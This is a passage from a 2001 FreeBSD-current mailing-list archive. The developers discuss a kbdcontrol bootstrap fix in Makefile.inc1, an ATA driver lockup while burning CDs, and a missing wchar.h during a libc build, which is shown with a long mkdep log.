<20010516101947.B23288@sunbay.com> <3B017C28.4FFDBCFB@FreeBSD.org> <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> <3B017C28.4FFDBCFB@FreeBSD.org> <200105152302.f4FN2PN73955@harmony.village.org> Date: Wed, 16 May 2001 01:51:52 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010516101947.B23288@sunbay.com> Ruslan Ermilov writes: : FWIW, my gross hack to usr.sbin/kbdcontrol also worked: I tend to dislike adding ../../sys to the includes list since they might not be compatible with the host's sys files used to build libc. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 1:35:59 2001 Delivered-To: freebsd-current@freebsd.org Received: from kalaid.f2f.com.ua (kalaid.f2f.com.ua [62.149.0.33]) by hub.freebsd.org (Postfix) with ESMTP id 7E85237B423; Wed, 16 May 2001 01:35:46 -0700 (PDT) (envelope-from sobomax@mail-in.net) Received: from Mail-In.Net (borey.f2f.com.ua [62.149.0.24]) by kalaid.f2f.com.ua (8.11.3/8.11.1) with ESMTP id f4G8bw086271; Wed, 16 May 2001 11:38:03 +0300 (EEST) (envelope-from sobomax@mail-in.net) Received: from vega.vega.com (root@das0-l72.uic-in.net [212.35.189.199]) by Mail-In.Net (8.11.3/8.H.Z) with ESMTP id f4G8Zx031582; Wed, 16 May 2001 11:36:00 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.11.3/8.11.3) with ESMTP id f4G8Z7k17755; Wed, 16 May 2001 11:35:07 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <3B023BBA.6917A7A9@FreeBSD.org> Date: Wed, 16 May 2001 11:35:06 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Warner Losh Cc: ru@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src Makefile.inc1 References: <200105152235.f4FMZ1130895@mail.uic-in.net> <200105152255.f4FMtsN73887@harmony.village.org> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh wrote: > In message <200105152235.f4FMZ1130895@mail.uic-in.net> Maxim Sobolev writes: > : There is at least one easy way - we can check if PASTE > : is defined and define it to be NOP if it isn't. This would allow > : to use kbdcontrol as a bootstrap tool on 4-STABLE. > : > : See attached patch. > > Heh. I came up with this independently. It works. I hope I didn't > step on any toes by commiting it. ;) Great minds think alike, you know. 8-) -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 1:48:47 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 75FD137B423; Wed, 16 May 2001 01:48:34 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id SAA27849; Wed, 16 May 2001 18:48:30 +1000 Date: Wed, 16 May 2001 18:47:12 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Ruslan Ermilov Cc: Peter Pentchev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: <20010515181042.A67205@sunbay.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 May 2001, Ruslan Ermilov wrote: > On Tue, May 15, 2001 at 05:42:04PM +0300, Peter Pentchev wrote: > [...] > > Can't you teach sysinstall/Makefile to use the kbdcontrol in > > ${.OBJDIR}/../kbdcontrol/kbdcontrol instead, and make it somehow > > depend on kbdcontrol being built beforehand? > > > Doing it this way would break cross-platform builds. Even running kbdcontrol might break cross-platform builds. Consider running it on a host platform of Linux. It might fail attempting to do a keyboard ioctl in its initalization. However, kbdcontrol -L might work because it doesn't actually do any keyboard control. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 2:17:51 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 1507E37B424; Wed, 16 May 2001 02:17:45 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id LAA00496; Wed, 16 May 2001 11:17:42 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 14zxR6-0001gg-00; Wed, 16 May 2001 11:17:40 +0200 Date: Wed, 16 May 2001 11:17:40 +0200 From: Szilveszter Adam To: cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010516111740.B2510@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , cvs-all@FreeBSD.org, current@FreeBSD.org References: <20010515181042.A67205@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from bde@zeta.org.au on Wed, May 16, 2001 at 06:47:12PM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 16, 2001 at 06:47:12PM +1000, Bruce Evans wrote: > On Tue, 15 May 2001, Ruslan Ermilov wrote: > > > On Tue, May 15, 2001 at 05:42:04PM +0300, Peter Pentchev wrote: > > [...] > > > Can't you teach sysinstall/Makefile to use the kbdcontrol in > > > ${.OBJDIR}/../kbdcontrol/kbdcontrol instead, and make it somehow > > > depend on kbdcontrol being built beforehand? > > > > > Doing it this way would break cross-platform builds. > > Even running kbdcontrol might break cross-platform builds. Consider > running it on a host platform of Linux. It might fail attempting to > do a keyboard ioctl in its initalization. However, kbdcontrol -L > might work because it doesn't actually do any keyboard control. I think that cross-platform means compilation between i386 and alpha (and possibly others) not different OS's:-) (Although admittedly you can build Debian CDs on FreeBSD with linux emulation way better than you can build say a -STABLE release on a -CURRENT box... ) -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 4:50:44 2001 Delivered-To: freebsd-current@freebsd.org Received: from green.bikeshed.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 751B437B422; Wed, 16 May 2001 04:50:42 -0700 (PDT) (envelope-from green@green.bikeshed.org) Received: from localhost (green@localhost) by green.bikeshed.org (8.11.2/8.11.1) with ESMTP id f4GBofW98900; Wed, 16 May 2001 07:50:42 -0400 (EDT) (envelope-from green@green.bikeshed.org) Message-Id: <200105161150.f4GBofW98900@green.bikeshed.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: current@FreeBSD.org Cc: sos@FreeBSD.org Subject: evil ATA From: "Brian F. Feldman" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 16 May 2001 07:50:40 -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Welp, this is the n-dozenth time that the ATA driver has wedged large parts of my entire system because it feels it needs to reset my CD-R when I'm trying to start burning a CD. I get the good old acd0: WRITE_BIG command timeout - resetting ata3: resetting devices .. and then, like always, tons of random applications lock up thereafter, including the burncd (stuck in physstr and cannot be killed, at all), Window Maker, my panel, etc. etc. etc. Oh, and the sleep(2)-related system calls don't sleep for the right time anymore; they just freeze. All sorts of stuff like this. Is there _any_ hope for not having such horrible behavior? Am I at the very least not the only person to have seen it? This is the _only_ problem I've had with -current lockups this entire year. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 5:14: 6 2001 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id 28F9237B422; Wed, 16 May 2001 05:14:02 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.11.3/8.11.3) id f4GCE1342090; Wed, 16 May 2001 14:14:01 +0200 (CEST) (envelope-from sos) From: S�ren Schmidt Message-Id: <200105161214.f4GCE1342090@freebsd.dk> Subject: Re: evil ATA In-Reply-To: <200105161150.f4GBofW98900@green.bikeshed.org> "from Brian F. Feldman at May 16, 2001 07:50:40 am" To: "Brian F. Feldman" Date: Wed, 16 May 2001 14:14:01 +0200 (CEST) Cc: current@FreeBSD.org, sos@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Brian F. Feldman wrote: > Welp, this is the n-dozenth time that the ATA driver has wedged large parts > of my entire system because it feels it needs to reset my CD-R when I'm > trying to start burning a CD. I get the good old > > acd0: WRITE_BIG command timeout - resetting > ata3: resetting devices .. > > and then, like always, tons of random applications lock up thereafter, > including the burncd (stuck in physstr and cannot be killed, at all), Window > Maker, my panel, etc. etc. etc. Oh, and the sleep(2)-related system calls > don't sleep for the right time anymore; they just freeze. All sorts of > stuff like this. > > Is there _any_ hope for not having such horrible behavior? Am I at the very > least not the only person to have seen it? This is the _only_ problem I've > had with -current lockups this entire year. I have never ever seen this behavior... I can understand why the process that uses the failing device can hang or do irratic things, but I have trouble understanding the rest... A dmesg would be nice :) -S�ren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 6:44:26 2001 Delivered-To: freebsd-current@freebsd.org Received: from ntexgswp02.DMZ (smtp.kpnqwest.com [193.242.92.8]) by hub.freebsd.org (Postfix) with ESMTP id 4AA5537B42C for ; Wed, 16 May 2001 06:44:23 -0700 (PDT) (envelope-from Marek.Kozlovsky@kpnqwest.com) Received: from ntexghub01.kpnqwest.com (unverified) by ntexgswp02.DMZ (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Wed, 16 May 2001 15:48:39 +0200 Received: by ntexghub01 with Internet Mail Service (5.5.2653.19) id ; Wed, 16 May 2001 15:39:58 +0200 Message-ID: <31FD3FA70CBED31189E700508B6401712C747C@ntexgpra01> From: "Kozlovsky, Marek" To: "'current@freebsd.org'" Subject: RE: evil ATA Date: Wed, 16 May 2001 15:43:58 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Welp, this is the n-dozenth time that the ATA driver has > wedged large parts > of my entire system because it feels it needs to reset my > CD-R when I'm > trying to start burning a CD. I get the good old > > acd0: WRITE_BIG command timeout - resetting > ata3: resetting devices .. > I don't know this case, but I've seen such behavior with non dma-capable hdd on udma controller. take a look at sysctl hw.atamodes (may look like 'dma,---,---,dma') and try change it (sysctl -w hw.atamodes=dma,---,---,pio) to PIO mode. it might help. Buki > Is there _any_ hope for not having such horrible behavior? > Am I at the very > least not the only person to have seen it? This is the > _only_ problem I've > had with -current lockups this entire year. > > -- > Brian Fundakowski Feldman \ FreeBSD: The Power to > Serve! / > green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:46:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 5305A37B422; Wed, 16 May 2001 07:46:14 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4GEk4U80618; Wed, 16 May 2001 07:46:04 -0700 (PDT) Date: Wed, 16 May 2001 07:46:04 -0700 (PDT) From: David Wolfskill Message-Id: <200105161446.f4GEk4U80618@bunrab.catwhisker.org> To: current@freebsd.org Subject: Shouldn't wchar.h get copied somewhere during build? Cc: tshiozak@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Looks as if /usr/src/include/wchar.h isn't getting copied to a place where it actually gets used during the build. From this morning's -CURRENT (CVSup trivia follows the log): >>> stage 4: populating /usr/obj/usr/src/i386/usr/include ... >>> stage 4: building libraries ... ===> libbind ... ===> libc ... rm -f .depend mkdep -f .depend -a -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/include -D__DBINTERFACE_PRIVATE -DINET6 -I/common/C/obj/usr/src/lib/libc -DPOSIX_MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DPORTMAP -DDES_BUILTIN -DYP -DHESIOD -I/usr/obj/usr/src/i386/usr/include -I/usr/src/lib/libc/i386 /usr/src/lib/libc/../libc/i386/gen/_setjmp.S /usr/src/lib/libc/../libc/i386/gen/alloca.S /usr/src/lib/libc/../libc/i386/gen/fabs.S /usr/src/lib/libc/../libc/i386/gen/modf.S /usr/src/lib/libc/../libc/i386/gen/rfork_thread.S /usr/src/lib/libc/../libc/i386/gen/setjmp.S /usr/src/lib/libc/../libc/i386/gen/sigsetjmp.S /usr/src/lib/libc/../libc/i386/net/htonl.S /usr/src/lib/libc/../libc/i386/net/htons.S /usr/src/lib/libc/../libc/i386/net/ntohl.S /usr/src/lib/libc/../libc/i386/net/ntohs.S /usr/src/lib/libc/../libc/i386/sys/Ovfork.S /usr/src/lib/libc/../libc/i386/sys/brk.S /usr/src/lib/libc/../libc/i386/sys/cerror.S /usr/src/lib/libc/../libc/i386/sys/exect.S /usr/src/lib/libc/../libc! /i386/sys/fork.S /usr/src/lib/libc/../libc/i386/sys/pipe.S /usr/src/lib/libc/../libc/i386/sys/ptrace.S /usr/src/lib/libc/../libc/i386/sys/reboot.S /usr/src/lib/libc/../libc/i386/sys/rfork.S /usr/src/lib/libc/../libc/i386/sys/sbrk.S /usr/src/lib/libc/../libc/i386/sys/setlogin.S /usr/src/lib/libc/../libc/i386/sys/sigreturn.S /usr/src/lib/libc/../libc/i386/sys/syscall.S read.S write.S open.S close.S wait4.S link.S unlink.S chdir.S fchdir.S mknod.S chmod.S chown.S getfsstat.S getpid.S mount.S unmount.S setuid.S getuid.S geteuid.S recvmsg.S sendmsg.S recvfrom.S accept.S getpeername.S getsockname.S access.S chflags.S fchflags.S sync.S kill.S getppid.S dup.S getegid.S profil.S ktrace.S getgid.S acct.S sigaltstack.S ioctl.S revoke.S symlink.S readlink.S execve.S umask.S chroot.S msync.S vadvise.S munmap.S mprotect.S madvise.S mincore.S getgroups.S setgroups.S getpgrp.S setpgid.S setitimer.S swapon.S getitimer.S getdtablesize.S dup2.S fcntl.S select.S fsync.S setpriority.S socket.S c! onnect.S getpriority.S bind.S setsockopt.S listen.S gettimeofday.S getrusage.S getsockopt.S readv.S writev.S settimeofday.S fchown.S fchmod.S setreuid.S setregid.S rename.S flock.S mkfifo.S sendto.S shutdown.S socketpair.S mkdir.S rmdir.S utimes.S adjtime.S setsid.S quotactl.S nfssvc.S statfs.S fstatfs.S getfh.S sysarch.S rtprio.S semsys.S msgsys.S shmsys.S ntp_adjtime.S setgid.S setegid.S seteuid.S stat.S fstat.S lstat.S pathconf.S fpathconf.S getrlimit.S setrlimit.S getdirentries.S __syscall.S __sysctl.S mlock.S munlock.S undelete.S futimes.S getpgid.S poll.S clock_gettime.S clock_settime.S clock_getres.S nanosleep.S minherit.S issetugid.S lchown.S getdents.S lchmod.S netbsd_lchown.S lutimes.S netbsd_msync.S nstat.S nfstat.S nlstat.S fhstatfs.S fhopen.S fhstat.S modnext.S modstat.S modfnext.S modfind.S kldload.S kldunload.S kldfind.S kldnext.S kldstat.S kldfirstmod.S getsid.S setresuid.S setresgid.S aio_return.S aio_suspend.S aio_cancel.S aio_error.S aio_read.S aio_write.S! lio_listio.S __getcwd.S sched_setparam.S sched_getparam.S sched_setscheduler.S sched_getscheduler.S sched_yield.S sched_get_priority_max.S sched_get_priority_min.S sched_rr_get_interval.S utrace.S sendfile.S kldsym.S jail.S sigprocmask.S sigsuspend.S sigaction.S sigpending.S __acl_get_file.S __acl_set_file.S __acl_get_fd.S __acl_set_fd.S __acl_delete_file.S __acl_delete_fd.S __acl_aclcheck_file.S __acl_aclcheck_fd.S extattrctl.S extattr_set_file.S extattr_get_file.S extattr_delete_file.S aio_waitcomplete.S getresuid.S getresgid.S kqueue.S kevent.S __cap_get_proc.S __cap_set_proc.S __cap_get_fd.S __cap_get_file.S __cap_set_fd.S __cap_set_file.S extattr_set_fd.S extattr_get_fd.S extattr_delete_fd.S __setugid.S _getlogin.S _exit.S /usr/src/lib/libc/../libc/i386/stdlib/abs.S /usr/src/lib/libc/../libc/i386/stdlib/div.S /usr/src/lib/libc/../libc/i386/stdlib/labs.S /usr/src/lib/libc/../libc/i386/stdlib/ldiv.S /usr/src/lib/libc/../libc/i386/string/bcmp.S /usr/src/lib/libc/../libc/i! 386/string/bcopy.S /usr/src/lib/libc/../libc/i386/string/bzero.S /usr/src/lib/libc/../libc/i386/string/ffs.S /usr/src/lib/libc/../libc/i386/string/index.S /usr/src/lib/libc/../libc/i386/string/memchr.S /usr/src/lib/libc/../libc/i386/string/memcmp.S /usr/src/lib/libc/../libc/i386/string/memcpy.S /usr/src/lib/libc/../libc/i386/string/memmove.S /usr/src/lib/libc/../libc/i386/string/memset.S /usr/src/lib/libc/../libc/i386/string/rindex.S /usr/src/lib/libc/../libc/i386/string/strcat.S /usr/src/lib/libc/../libc/i386/string/strchr.S /usr/src/lib/libc/../libc/i386/string/strcmp.S /usr/src/lib/libc/../libc/i386/string/strcpy.S /usr/src/lib/libc/../libc/i386/string/strlen.S /usr/src/lib/libc/../libc/i386/string/strncmp.S /usr/src/lib/libc/../libc/i386/string/strrchr.S /usr/src/lib/libc/../libc/i386/string/swab.S mkdep -f .depend -a -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/include -D__DBINTERFACE_PRIVATE -DINET6 -I/common/C/obj/usr/src/lib/libc -DPOSIX_MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DPORTMAP -DDES_BUILTIN -DYP -DHESIOD -I/usr/obj/usr/src/i386/usr/include /usr/src/lib/libc/../libc/db/btree/bt_close.c /usr/src/lib/libc/../libc/db/btree/bt_conv.c /usr/src/lib/libc/../libc/db/btree/bt_debug.c /usr/src/lib/libc/../libc/db/btree/bt_delete.c /usr/src/lib/libc/../libc/db/btree/bt_get.c /usr/src/lib/libc/../libc/db/btree/bt_open.c /usr/src/lib/libc/../libc/db/btree/bt_overflow.c /usr/src/lib/libc/../libc/db/btree/bt_page.c /usr/src/lib/libc/../libc/db/btree/bt_put.c /usr/src/lib/libc/../libc/db/btree/bt_search.c /usr/src/lib/libc/../libc/db/btree/bt_seq.c /usr/src/lib/libc/../libc/db/btree/bt_split.c /usr/src/lib/libc/../libc/db/btree/bt_utils.c /usr/src/lib/libc/../libc/db/db/db.c /usr/src/lib/libc/../libc/db/hash/hash.c /usr/src/lib/libc/../libc/db/hash/has! h_bigkey.c /usr/src/lib/libc/../libc/db/hash/hash_buf.c /usr/src/lib/libc/../libc/db/hash/hash_func.c /usr/src/lib/libc/../libc/db/hash/hash_log2.c /usr/src/lib/libc/../libc/db/hash/hash_page.c /usr/src/lib/libc/../libc/db/hash/ndbm.c /usr/src/lib/libc/../libc/db/mpool/mpool.c /usr/src/lib/libc/../libc/db/recno/rec_close.c /usr/src/lib/libc/../libc/db/recno/rec_delete.c /usr/src/lib/libc/../libc/db/recno/rec_get.c /usr/src/lib/libc/../libc/db/recno/rec_open.c /usr/src/lib/libc/../libc/db/recno/rec_put.c /usr/src/lib/libc/../libc/db/recno/rec_search.c /usr/src/lib/libc/../libc/db/recno/rec_seq.c /usr/src/lib/libc/../libc/db/recno/rec_utils.c /usr/src/lib/libc/../libc/compat-43/creat.c /usr/src/lib/libc/../libc/compat-43/gethostid.c /usr/src/lib/libc/../libc/compat-43/getwd.c /usr/src/lib/libc/../libc/compat-43/killpg.c /usr/src/lib/libc/../libc/compat-43/sethostid.c /usr/src/lib/libc/../libc/compat-43/setpgrp.c /usr/src/lib/libc/../libc/compat-43/setrgid.c /usr/src/lib/libc/.! ./libc/compat-43/setruid.c /usr/src/lib/libc/../libc/compat-43/sigcompat.c /usr/src/lib/libc/../libc/gen/__xuname.c /usr/src/lib/libc/../libc/gen/_pthread_stubs.c /usr/src/lib/libc/../libc/gen/_rand48.c /usr/src/lib/libc/../libc/gen/_spinlock_stub.c /usr/src/lib/libc/../libc/gen/_thread_init.c /usr/src/lib/libc/../libc/gen/alarm.c /usr/src/lib/libc/../libc/gen/arc4random.c /usr/src/lib/libc/../libc/gen/assert.c /usr/src/lib/libc/../libc/gen/basename.c /usr/src/lib/libc/../libc/gen/clock.c /usr/src/lib/libc/../libc/gen/closedir.c /usr/src/lib/libc/../libc/gen/confstr.c /usr/src/lib/libc/../libc/gen/crypt.c /usr/src/lib/libc/../libc/gen/ctermid.c /usr/src/lib/libc/../libc/gen/daemon.c /usr/src/lib/libc/../libc/gen/devname.c /usr/src/lib/libc/../libc/gen/dirname.c /usr/src/lib/libc/../libc/gen/disklabel.c /usr/src/lib/libc/../libc/gen/dlfcn.c /usr/src/lib/libc/../libc/gen/drand48.c /usr/src/lib/libc/../libc/gen/erand48.c /usr/src/lib/libc/../libc/gen/err.c /usr/src/lib/libc/../! libc/gen/errlst.c /usr/src/lib/libc/../libc/gen/exec.c /usr/src/lib/libc/../libc/gen/fmtcheck.c /usr/src/lib/libc/../libc/gen/fnmatch.c /usr/src/lib/libc/../libc/gen/fstab.c /usr/src/lib/libc/../libc/gen/ftok.c /usr/src/lib/libc/../libc/gen/fts.c /usr/src/lib/libc/../libc/gen/getbootfile.c /usr/src/lib/libc/../libc/gen/getbsize.c /usr/src/lib/libc/../libc/gen/getcap.c /usr/src/lib/libc/../libc/gen/getcwd.c /usr/src/lib/libc/../libc/gen/getdomainname.c /usr/src/lib/libc/../libc/gen/getgrent.c /usr/src/lib/libc/../libc/gen/getgrouplist.c /usr/src/lib/libc/../libc/gen/gethostname.c /usr/src/lib/libc/../libc/gen/getloadavg.c /usr/src/lib/libc/../libc/gen/getlogin.c /usr/src/lib/libc/../libc/gen/getmntinfo.c /usr/src/lib/libc/../libc/gen/getnetgrent.c /usr/src/lib/libc/../libc/gen/getobjformat.c /usr/src/lib/libc/../libc/gen/getosreldate.c /usr/src/lib/libc/../libc/gen/getpagesize.c /usr/src/lib/libc/../libc/gen/getpass.c /usr/src/lib/libc/../libc/gen/getprogname.c /usr/src/lib/l! ibc/../libc/gen/getpwent.c /usr/src/lib/libc/../libc/gen/getttyent.c /usr/src/lib/libc/../libc/gen/getusershell.c /usr/src/lib/libc/../libc/gen/getvfsbyname.c /usr/src/lib/libc/../libc/gen/getvfsent.c /usr/src/lib/libc/../libc/gen/glob.c /usr/src/lib/libc/../libc/gen/initgroups.c /usr/src/lib/libc/../libc/gen/isatty.c /usr/src/lib/libc/../libc/gen/jrand48.c /usr/src/lib/libc/../libc/gen/lcong48.c /usr/src/lib/libc/../libc/gen/lockf.c /usr/src/lib/libc/../libc/gen/lrand48.c /usr/src/lib/libc/../libc/gen/mrand48.c /usr/src/lib/libc/../libc/gen/msgctl.c /usr/src/lib/libc/../libc/gen/msgget.c /usr/src/lib/libc/../libc/gen/msgrcv.c /usr/src/lib/libc/../libc/gen/msgsnd.c /usr/src/lib/libc/../libc/gen/nice.c /usr/src/lib/libc/../libc/gen/nlist.c /usr/src/lib/libc/../libc/gen/nrand48.c /usr/src/lib/libc/../libc/gen/ntp_gettime.c /usr/src/lib/libc/../libc/gen/opendir.c /usr/src/lib/libc/../libc/gen/pause.c /usr/src/lib/libc/../libc/gen/popen.c /usr/src/lib/libc/../libc/gen/psignal.c ! /usr/src/lib/libc/../libc/gen/pw_scan.c /usr/src/lib/libc/../libc/gen/pwcache.c /usr/src/lib/libc/../libc/gen/raise.c /usr/src/lib/libc/../libc/gen/readdir.c /usr/src/lib/libc/../libc/gen/rewinddir.c /usr/src/lib/libc/../libc/gen/posixshm.c /usr/src/lib/libc/../libc/gen/scandir.c /usr/src/lib/libc/../libc/gen/seed48.c /usr/src/lib/libc/../libc/gen/seekdir.c /usr/src/lib/libc/../libc/gen/semconfig.c /usr/src/lib/libc/../libc/gen/semctl.c /usr/src/lib/libc/../libc/gen/semget.c /usr/src/lib/libc/../libc/gen/semop.c /usr/src/lib/libc/../libc/gen/setdomainname.c /usr/src/lib/libc/../libc/gen/sethostname.c /usr/src/lib/libc/../libc/gen/setjmperr.c /usr/src/lib/libc/../libc/gen/setmode.c /usr/src/lib/libc/../libc/gen/setprogname.c /usr/src/lib/libc/../libc/gen/setproctitle.c /usr/src/lib/libc/../libc/gen/shmat.c /usr/src/lib/libc/../libc/gen/shmctl.c /usr/src/lib/libc/../libc/gen/shmdt.c /usr/src/lib/libc/../libc/gen/shmget.c /usr/src/lib/libc/../libc/gen/siginterrupt.c /usr/src/li! b/libc/../libc/gen/siglist.c /usr/src/lib/libc/../libc/gen/signal.c /usr/src/lib/libc/../libc/gen/sigsetops.c /usr/src/lib/libc/../libc/gen/sleep.c /usr/src/lib/libc/../libc/gen/srand48.c /usr/src/lib/libc/../libc/gen/stringlist.c /usr/src/lib/libc/../libc/gen/strtofflags.c /usr/src/lib/libc/../libc/gen/sysconf.c /usr/src/lib/libc/../libc/gen/sysctl.c /usr/src/lib/libc/../libc/gen/sysctlbyname.c /usr/src/lib/libc/../libc/gen/sysctlnametomib.c /usr/src/lib/libc/../libc/gen/syslog.c /usr/src/lib/libc/../libc/gen/telldir.c /usr/src/lib/libc/../libc/gen/termios.c /usr/src/lib/libc/../libc/gen/time.c /usr/src/lib/libc/../libc/gen/times.c /usr/src/lib/libc/../libc/gen/timezone.c /usr/src/lib/libc/../libc/gen/ttyname.c /usr/src/lib/libc/../libc/gen/ttyslot.c /usr/src/lib/libc/../libc/gen/ualarm.c /usr/src/lib/libc/../libc/gen/uname.c /usr/src/lib/libc/../libc/gen/unvis.c /usr/src/lib/libc/../libc/gen/usleep.c /usr/src/lib/libc/../libc/gen/utime.c /usr/src/lib/libc/../libc/gen/vallo! c.c /usr/src/lib/libc/../libc/gen/vis.c /usr/src/lib/libc/../libc/gen/wait.c /usr/src/lib/libc/../libc/gen/wait3.c /usr/src/lib/libc/../libc/gen/waitpid.c /usr/src/lib/libc/../libc/i386/gen/frexp.c /usr/src/lib/libc/../libc/i386/gen/infinity.c /usr/src/lib/libc/../libc/i386/gen/isinf.c /usr/src/lib/libc/../libc/i386/gen/ldexp.c /usr/src/lib/libc/../libc/gmon/gmon.c /usr/src/lib/libc/../libc/gmon/mcount.c /usr/src/lib/libc/../libc/locale/ansi.c /usr/src/lib/libc/../libc/locale/big5.c /usr/src/lib/libc/../libc/locale/collate.c /usr/src/lib/libc/../libc/locale/collcmp.c /usr/src/lib/libc/../libc/locale/euc.c /usr/src/lib/libc/../libc/locale/frune.c /usr/src/lib/libc/../libc/locale/fix_grouping.c /usr/src/lib/libc/../libc/locale/isctype.c /usr/src/lib/libc/../libc/locale/ldpart.c /usr/src/lib/libc/../libc/locale/lmessages.c /usr/src/lib/libc/../libc/locale/lmonetary.c /usr/src/lib/libc/../libc/locale/lnumeric.c /usr/src/lib/libc/../libc/locale/localeconv.c /usr/src/lib/libc/../l! ibc/locale/mbrune.c /usr/src/lib/libc/../libc/locale/mskanji.c /usr/src/lib/libc/../libc/locale/nl_langinfo.c /usr/src/lib/libc/../libc/locale/nomacros.c /usr/src/lib/libc/../libc/locale/none.c /usr/src/lib/libc/../libc/locale/rune.c /usr/src/lib/libc/../libc/locale/runetype.c /usr/src/lib/libc/../libc/locale/setinvalidrune.c /usr/src/lib/libc/../libc/locale/setlocale.c /usr/src/lib/libc/../libc/locale/setrunelocale.c /usr/src/lib/libc/../libc/locale/table.c /usr/src/lib/libc/../libc/locale/tolower.c /usr/src/lib/libc/../libc/locale/toupper.c /usr/src/lib/libc/../libc/locale/utf2.c /usr/src/lib/libc/../libc/net/addr2ascii.c /usr/src/lib/libc/../libc/net/ascii2addr.c /usr/src/lib/libc/../libc/net/base64.c /usr/src/lib/libc/../libc/net/ether_addr.c /usr/src/lib/libc/../libc/net/getaddrinfo.c /usr/src/lib/libc/../libc/net/gethostbydns.c /usr/src/lib/libc/../libc/net/gethostbyht.c /usr/src/lib/libc/../libc/net/gethostbynis.c /usr/src/lib/libc/../libc/net/gethostnamadr.c /usr/src! /lib/libc/../libc/net/getifaddrs.c /usr/src/lib/libc/../libc/net/getnameinfo.c /usr/src/lib/libc/../libc/net/getnetbydns.c /usr/src/lib/libc/../libc/net/getnetbyht.c 